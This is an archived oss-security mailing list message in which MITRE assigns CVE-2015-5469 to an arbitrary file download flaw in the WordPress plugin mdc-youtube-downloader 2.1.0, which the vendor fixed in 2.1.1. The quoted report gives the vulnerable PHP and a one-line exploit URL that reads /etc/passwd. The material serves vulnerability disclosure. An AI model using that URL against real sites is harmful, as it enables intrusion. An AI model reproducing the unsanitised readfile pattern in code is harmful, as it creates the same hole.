[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-Id: <20150710202945.005C072E29D@smtpvbsrv1.mitre.org>
Date: Fri, 10 Jul 2015 16:29:44 -0400 (EDT)
From: cve-assign@...re.org
To: larry0@...com
Cc: cve-assign@...re.org, oss-security@...ts.openwall.com
Subject: Re: Remote file download in Wordpress Plugin mdc-youtube-downloader v2.1.0
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
> Title: Remote file download in Wordpress Plugin mdc-youtube-downloader v2.1.0
> Download Site: https://wordpress.org/plugins/mdc-youtube-downloader
> Vendor: https://profiles.wordpress.org/mukto90/
> Vendor Notified: 2015-07-01, removed vulnerable code.
> $file_name = $_GET['file'];
> readfile($file_name);
> /wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd
> https://wordpress.org/plugins/mdc-youtube-downloader/changelog/
> 2.1.1
> Bug fixed.
> https://plugins.trac.wordpress.org/changeset/1191915
Use CVE-2015-5469.
- --
CVE assignment team, MITRE CVE Numbering Authority
M/S M300
202 Burlington Road, Bedford, MA 01730 USA
[ PGP key available through http://cve.mitre.org/cve/request_id.html ]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.14 (SunOS)
iQEcBAEBAgAGBQJVoCmmAAoJEKllVAevmvmsykEH/2NbVNQqD4jmraIaIaClJFp5
P4uQY+BySXHguu5H6AbGni64mQ/FpLqYHpWiQPWJXrzf73ws1P04OJSGZwB0hcB6
dTV6F4F0F1cIrefD2eK7INc6B2twPQ5yZ1kFR7fMnQh1uzUNkoPJgzuUN+QVwhmO
4LlQQyW4+fI/oVqqpgttvr4+FVf8ia2ahxtWkKIoKqt2nfb+7zUFa59jqo76y3mB
wm6oYboSh6Gbu6TfG/+EjiZ3KjMvE98ukXQUOXQpV1BlvpBlTYyMi3jibH8vbSJ+
/7f5r/0arvzwac1sh8TWQAo9SOX3sUWGagEsBMPJ+xxgUukr3O0ekeNu78RTuOU=
=7kCT
-----END PGP SIGNATURE-----
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
